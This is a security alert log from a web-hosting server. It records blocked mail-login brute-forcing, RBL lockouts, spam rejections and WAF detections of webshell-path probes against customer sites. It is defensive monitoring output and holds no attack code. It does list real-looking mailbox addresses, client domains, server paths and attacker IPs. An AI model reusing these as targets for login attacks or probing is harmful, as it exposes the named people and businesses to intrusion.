abuser: 158.181.19.144
country_id: 1527747
description:
2026-01-15 05:08:26 dovecot_login authenticator failed for H=(158.181.19.144.mega.kg) [158.181.19.144]:33358: 535 Incorrect authentication data (set_id=michaelchin.vpb@vc-b.com.my)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.142.210
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.63||T:APACHE||MV:/portfolio/img/img/demos/img/img/img/img/img/img/product.php||SC:/home2/pspolycom/public_html/portfolio||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 111.70.8.143
country_id: 1668284
description:
Jan 15 05:08:58 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 111.70.8.143 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 190.104.24.6
country_id: 3923057
description:
2026-01-15 05:08:59 dovecot_login authenticator failed for H=(SCZ-190-104-24-00006.tigo.bo) [190.104.24.6]:58524: 535 Incorrect authentication data (set_id=accounts)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.70.8.143
country_id: 1668284
description:
2026-01-15 05:09:00 dovecot_login authenticator failed for H=111-70-8-143.emome-ip.hinet.net [111.70.8.143]:38771: 535 Incorrect authentication data (set_id=support@imax.com.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 158.181.19.144
country_id: 1527747
description:
Jan 15 05:08:24 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 158.181.19.144 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 190.104.24.6
country_id: 3923057
description:
Jan 15 05:08:57 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 190.104.24.6 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.69.114.35
country_id: 1269750
description:
2026-01-15 05:08:57 dovecot_plain authenticator failed for H=(metowly) [103.69.114.35]:38911: 535 Incorrect authentication data (set_id=webmaster@dps-comsec.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.69.114.35
country_id: 1269750
description:
Jan 15 05:08:55 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.69.114.35 has been locked due to Imunify RBL


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 198.235.24.246
country_id: 6252001
description:
2026-01-15  5:09:56 79628 [Warning] Aborted connection 79628 to db: 'unconnected' user: 'unauthenticated' host: '198.235.24.246' (This connection closed normally without authentication)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 78.153.140.207
country_id: 2635167
description:
2026-01-15 05:11:00 H=(localhost.localdomain) [78.153.140.207]:57668 X=TLS1.2:ECDHE-RSA-AES256-GCM-SHA384:256 F=<no-reply@no-reply.com> rejected RCPT <a@b12.siagabaja.com>: Sender verify failed


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.157.239
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.63||T:APACHE||MV:/news-n-events/img/img/img/img/img/img/news.php||SC:/home2/pspolycom/public_html/news-n-events||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.144.17
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.63||T:APACHE||MV:/news-n-events/img/img/demos/img/img/clientele.php||SC:/home2/pspolycom/public_html/news-n-events||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 38.65.137.69
country_id: 3996063
description:
Jan 15 05:14:21 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 38.65.137.69 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 177.2.60.176
country_id: 3469034
domain: dsc-expat.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/dsc-expat.com/pig/19/434/1949076 HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.153.56
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.63||T:APACHE||MV:/question-some-questions-about-on-line-information/images/sliders/introduction-service.php||SC:/home/sutsbcom/public_html/question-some-questions-about-on-line-information||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 196.251.102.24
country_id: 241170
description:
Jan 15 05:16:56 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 196.251.102.24 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 221.2.137.3
country_id: 1814991
description:
2026-01-15 05:18:59 dovecot_login authenticator failed for H=([218.56.121.58]) [221.2.137.3]:55768: 535 Incorrect authentication data (set_id=hapiz@dsc-expat.com)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.242
country_id: 690791
description:
2026-01-15 05:18:49 H=([45.144.212.242]) [45.144.212.242]:52528 F=<no_reply@admin.com> rejected RCPT <waynegoh@empirelog.com.my>: Sender verify failed


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 221.2.137.3
country_id: 1814991
description:
Jan 15 05:18:57 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 221.2.137.3 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 110.185.173.167
country_id: 1814991
description:
Jan 15 05:19:41 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 110.185.173.167 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.153.56
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.63||T:APACHE||MV:/about-sinaran-utama-teknologi/images/contact.php||SC:/home/sutsbcom/public_html/about-sinaran-utama-teknologi||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 110.185.173.167
country_id: 1814991
description:
2026-01-15 05:19:43 dovecot_login authenticator failed for H=([110.185.173.167]) [110.185.173.167]:60022: 535 Incorrect authentication data (set_id=accounting@acburn.com.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 14.63.166.91
country_id: 1835841
description:
Jan 15 05:19:38 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 14.63.166.91 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 14.63.166.91
country_id: 1835841
description:
2026-01-15 05:19:40 dovecot_login authenticator failed for H=([14.63.166.91]) [14.63.166.91]:46848: 535 Incorrect authentication data (set_id=safuddin@ajplantations.com.my)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.242
country_id: 690791
description:
2026-01-15 05:20:09 H=([45.144.212.242]) [45.144.212.242]:56427 F=<no_reply@admin.com> rejected RCPT <wendy@ms-chemicals.net>: Sender verify failed


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 82.193.121.147
country_id: 690791
description:
2026-01-15 05:20:27 dovecot_login authenticator failed for H=([82.193.121.147]) [82.193.121.147]:46181: 535 Incorrect authentication data (set_id=serene.chin@manforce.net)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.69.114.35
country_id: 1269750
description:
Jan 15 05:20:43 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.69.114.35 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.69.114.35
country_id: 1269750
description:
2026-01-15 05:20:45 dovecot_plain authenticator failed for H=(hyped) [103.69.114.35]:48798: 535 Incorrect authentication data (set_id=info@ocned.com)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 78.153.140.207
country_id: 2635167
description:
2026-01-15 05:22:27 H=(localhost.localdomain) [78.153.140.207]:48422 X=TLS1.2:ECDHE-RSA-AES256-GCM-SHA384:256 F=<no-reply@no-reply.com> rejected RCPT <a@b12.siagabaja.com>: Sender verify failed


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 109.199.29.4
country_id: 798544
description:
Jan 15 05:23:44 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 109.199.29.4 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.181.28.216
country_id: 3469034
description:
Jan 15 05:23:48 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.181.28.216 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.153.56
country_id: 1880251
domain: sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.63||T:APACHE||MV:/wp-content/themes/images/eco.php||SC:/home/sutsbcom/public_html/wp-content/themes/images||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 91.236.172.34
country_id: 798544
description:
Jan 15 05:24:03 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 91.236.172.34 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 91.236.172.34
country_id: 798544
description:
Jan 15 05:24:10 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 91.236.172.34 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 218.18.239.218
country_id: 1814991
description:
Jan 15 05:27:52 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 218.18.239.218 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 218.18.239.218
country_id: 1814991
description:
2026-01-15 05:27:54 dovecot_login authenticator failed for H=([218.17.113.148]) [218.18.239.218]:33192: 535 Incorrect authentication data (set_id=salesmp@aoto.com.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 190.89.136.254
country_id: 3469034
description:
Jan 15 05:29:44 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 190.89.136.254 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.129.57.107
country_id: 953987
description:
Jan 15 05:29:51 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.129.57.107 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.216.29.19
country_id: 798544
description:
Jan 15 05:29:23 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.216.29.19 has been locked due to Imunify RBL


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 206.168.34.43
country_id: 6252001
description:
2026-01-15  5:32:54 80701 [Warning] Aborted connection 80701 to db: 'unconnected' user: 'unauthenticated' host: '206.168.34.43' (This connection closed normally without authentication)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.133.201.64
country_id: 1210997
domain: www.box.com.myhttp
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.box.com.myhttp/www.box.com.my/new-carton-box/multi-purpose-box-m-size HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 40.160.26.78
country_id: 6252001
domain: www.feliogroup.com.my
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/138.0.0.0 Safari/537.36||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.133.201.64
country_id: 1210997
domain: www.box.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.box.com.my/new-carton-box/multi-purpose-box-m-size HTTP/1.1||RSV:7.63||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 186.190.167.214
country_id: 3865483
description:
Jan 15 05:37:56 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 186.190.167.214 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 191.53.131.31
country_id: 3469034
description:
Jan 15 05:38:14 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 191.53.131.31 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 186.190.167.214
country_id: 3865483
description:
Jan 15 05:38:11 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 186.190.167.214 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 109.125.234.3
country_id: 798544
description:
Jan 15 05:39:37 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 109.125.234.3 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 201.168.9.94
country_id: 3996063
description:
Jan 15 05:40:06 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 201.168.9.94 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 201.168.9.94
country_id: 3996063
description:
Jan 15 05:40:14 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 201.168.9.94 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 77.83.39.92
country_id: 690791
description:
2026-01-15 05:41:22 H=([77.83.39.92]) [77.83.39.92]:55676 F=<MeshalAbdulwhab@outlook.com> rejected RCPT <kasim_kn@ajplantations.com.my>: SPF: 77.83.39.92 is not allowed to send mail from outlook.com


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 77.83.39.92
country_id: 690791
description:
2026-01-15 05:44:48 H=([77.83.39.92]) [77.83.39.92]:59218 F=<MeshalAbdulwhab@outlook.com> rejected RCPT <munch@nexuscollection.com>: Mailbox is full / Blocks limit exceeded / Inode limit exceeded


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 213.209.159.15
country_id: 1668284
description:
Jan 15 05:45:59 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 213.209.159.15 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 77.83.39.92
country_id: 690791
description:
2026-01-15 05:48:50 H=([77.83.39.92]) [77.83.39.92]:59165 F=<MeshalAbdulwhab@outlook.com> rejected RCPT <sales@cordage.com.my>: SPF: 77.83.39.92 is not allowed to send mail from outlook.com


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 124.217.62.75
country_id: 1694008
domain: eminent.st
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:20843.eminent.st||ServerName:eminent.st||Method:metaWeblog.newPost||BlogID:1||TitleSHA:0a3b4b6915b45a4986fbced7e4dd017b10a13cac||Title:0xc9e327c3||RSV:7.63||T:APACHE||


plugin: modsec
rule: 33375
name: IM360 WAF: XMLRPC fault response
abuser: 124.217.62.75
country_id: 1694008
domain: eminent.st
description:
IM360 WAF: XMLRPC fault response||MV:<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<methodResponse>\n  <fault>\n    <value>\n      <struct>\n        <member>\n          <name>faultCode</name>\n          <value><int>403</int></value>\n        </member>\n        <member>\n          <name>faultString</name>\n          <value><string>Incorrect username or password.</string></value>\n        </member>\n      </struct>\n    </value>\n  </fault>\n</methodResponse>\n||RSV:7.63||T:APACHE||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 77.83.39.92
country_id: 690791
description:
2026-01-15 05:51:03 H=([77.83.39.92]) [77.83.39.92]:51599 F=<MeshalAbdulwhab@outlook.com> rejected RCPT <stevenng@fkr.com.my>: Mail to stevenng@fkr.com.my has been suspended


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 213.209.159.15
country_id: 1668284
description:
Jan 15 05:50:32 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 213.209.159.15 has been locked due to Imunify RBL


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 124.217.62.75
country_id: 1694008
domain: eminent.st
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.eminent.st||ServerName:eminent.st||Method:metaWeblog.newPost||BlogID:1||TitleSHA:1c26932d115ddc1e499fc8af5ad009a84b7bac4b||Title:0x66b9a02d||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 216.73.216.26
country_id: 6252001
domain: dynamic-hr.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.63||T:APACHE||MV:/images/solution-new.php||SC:/home2/dynamichrcom/public_html/images/solution-new.php||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 216.73.216.26
country_id: 6252001
domain: dynamic-hr.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.63||T:APACHE||MV:/images/about.php||SC:/home2/dynamichrcom/public_html/images/about.php||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 77.91.181.152
country_id: 6254930
domain: geminiflourmill.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/geminiflourmill.com/images/c-71.png HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 216.73.216.26
country_id: 6252001
domain: dynamic-hr.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.63||T:APACHE||MV:/images/contact.php||SC:/home2/dynamichrcom/public_html/images/contact.php||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 91.196.110.87
country_id: 798544
description:
Jan 15 05:52:50 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 91.196.110.87 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 179.0.251.41
country_id: 3865483
description:
Jan 15 05:53:11 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 179.0.251.41 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.182.122.188
country_id: 1562822
domain: geminiflourmill.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/geminiflourmill.com/images/c-20.png HTTP/1.1||RSV:7.63||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 176.103.2.157
country_id: 690791
description:
Jan 15 05:53:50 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 176.103.2.157 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.242
country_id: 690791
description:
2026-01-15 05:54:03 H=([45.144.212.242]) [45.144.212.242]:49830 F=<no_reply@admin.com> rejected RCPT <tst@tst-ma.com>: Sender verify failed


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 91.238.166.110
country_id: 798544
description:
Jan 15 05:54:07 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 91.238.166.110 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.5.108.126
country_id: 2186224
description:
Jan 15 05:53:28 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.5.108.126 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 138.186.197.124
country_id: 3469034
description:
Jan 15 05:53:41 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 138.186.197.124 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 91.238.166.110
country_id: 798544
description:
Jan 15 05:54:15 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 91.238.166.110 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 216.73.216.26
country_id: 6252001
domain: dynamic-hr.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.63||T:APACHE||MV:/images/index.php||SC:/home2/dynamichrcom/public_html/images/index.php||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 139.180.3.1
country_id: 6252001
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:05-55.139.180.3.1||RSV:7.63||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 91.226.115.40
country_id: 3057568
description:
Jan 15 05:55:13 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 91.226.115.40 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.8.118.18
country_id: 1269750
description:
Jan 15 05:55:32 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.8.118.18 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.242
country_id: 690791
description:
2026-01-15 06:02:04 H=([45.144.212.242]) [45.144.212.242]:64142 F=<no_reply@admin.com> rejected RCPT <enquiry@symphony-led.com>: Sender verify failed


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.190.32.133
country_id: 1562822
domain: geminiflourmill.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/geminiflourmill.com/images/c-23.png HTTP/1.1||RSV:7.63||T:APACHE||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.242
country_id: 690791
description:
2026-01-15 06:06:39 H=([45.144.212.242]) [45.144.212.242]:62310 F=<no_reply@admin.com> rejected RCPT <info@mkmetal.com.my>: Sender verify failed


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 196.251.102.15
country_id: 241170
description:
Jan 15 06:07:28 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 196.251.102.15 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.236.146.167
country_id: 3996063
description:
Jan 15 06:08:05 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.236.146.167 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 177.236.146.167
country_id: 3996063
description:
2026-01-15 06:08:07 dovecot_login authenticator failed for H=([177.236.146.167]) [177.236.146.167]:59613: 535 Incorrect authentication data (set_id=salesmp@aoto.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.208.156.158
country_id: 241170
description:
2026-01-15 06:07:25 dovecot_login authenticator failed for H=(ADMIN) [185.208.156.158]:41688: 535 Incorrect authentication data (set_id=jasinpack@jpack.com.my)


